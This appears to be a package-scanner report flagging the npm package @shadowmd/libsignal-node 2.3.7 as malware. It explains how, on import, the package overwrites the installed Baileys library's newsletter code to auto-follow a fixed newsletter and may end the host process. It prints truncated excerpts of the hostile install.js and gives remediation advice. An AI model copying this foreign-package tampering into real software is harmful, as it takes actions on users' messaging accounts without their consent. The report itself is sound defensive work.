@shadowmd/libsignal-node
Open Whisper Systems' libsignal for Node.js
This report shows the evidence for @shadowmd/libsignal-node@2.3.7, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is concrete, unconsented runtime tampering with a foreign installed package that causes a messaging-account action. It is unrelated to the advertised libsignal functionality and is malicious.
Static reason
One or more suspicious static signals were detected.
Trigger
Importing @shadowmd/libsignal-node in a process where @whiskeysockets/baileys is available.
Impact
The package tampers with a separate dependency, performs an unconsented account action, persists a marker, and may terminate the host process.
Mechanism
Automatic cross-package source overwrite with an injected newsletter-follow action.
Attack narrative
When imported, the entry point schedules installNewsletterAutoFollow. That code finds a separate @whiskeysockets/baileys installation and replaces its newsletter implementation. The embedded replacement schedules a follow request for a fixed newsletter identifier after the victim application starts. The patch stores a marker in the foreign dependency and can exit the host process after changing it.
AI rationale
This is concrete, unconsented runtime tampering with a foreign installed package that causes a messaging-account action. It is unrelated to the advertised libsignal functionality and is malicious.
Evidence
index.jsinstall.jspackage.jsonnode_modules/@whiskeysockets/baileys/lib/Socket/newsletter.jsnode_modules/@whiskeysockets/baileys/node_modules/.cache
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Importing the package automatically invokes code that patches another installed package.
- The patch locates @whiskeysockets/baileys and overwrites its newsletter source file.
- The injected replacement silently follows a fixed newsletter after the affected application starts.
- The patch creates a cache marker and later terminates the host process.
Evidence against
- package.json contains no npm lifecycle hook.
- No credential harvesting, environment-variable collection, or arbitrary external endpoint is present in the inspected source.
Behavioral surface
CryptoFilesystem
CopyleftLicense
Source & flagged code
4 flagged · loading sourceinstall.jsView file
•Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior.
install.js:
path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'),
path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'),
const resolved = require.resolve('@whiskeysockets/baileys/package.json');
if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) {
const MODIFIED_NEWSLETTER_JS = `"use strict";
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
const makeNewsletterSocket = (config) => {
const newsletterQuery = async (jid, type, content) => (query({
High
Entrypoint Foreign Package Code Overwrite
Manifest-reachable source overwrites another installed package with package-defined remote behavior.
install.jsView on unpkg7function findBaileysPath() {
const possiblePaths = [
path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'),
path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'),
path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'),
];
try {
const resolved = require.resolve('@whiskeysockets/baileys/package.json');
possiblePaths.unshift(resolved.replace('/package.json', ''));
} catch (e) {}
for (const baileysPath of possiblePaths) {
try {
if (fs.existsSync(path.join(baileys
High
Ai Review Evidence
The patch locates @whiskeysockets/baileys and overwrites its newsletter source file.
install.jsView on unpkg · L7Findings
3 High3 Low
HighEntrypoint Foreign Package Code Overwriteinstall.js
HighNode Builtin Dependency Squatpackage.json
HighAi Review Evidenceinstall.js
LowWeak Cryptoinstall.js
LowFilesystem
LowCopyleft License
Affected versions and remediation
This report applies to @shadowmd/libsignal-node@2.3.7.
The versions list below shows the verdict for each recorded version.
- Avoid installing @shadowmd/libsignal-node@2.3.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.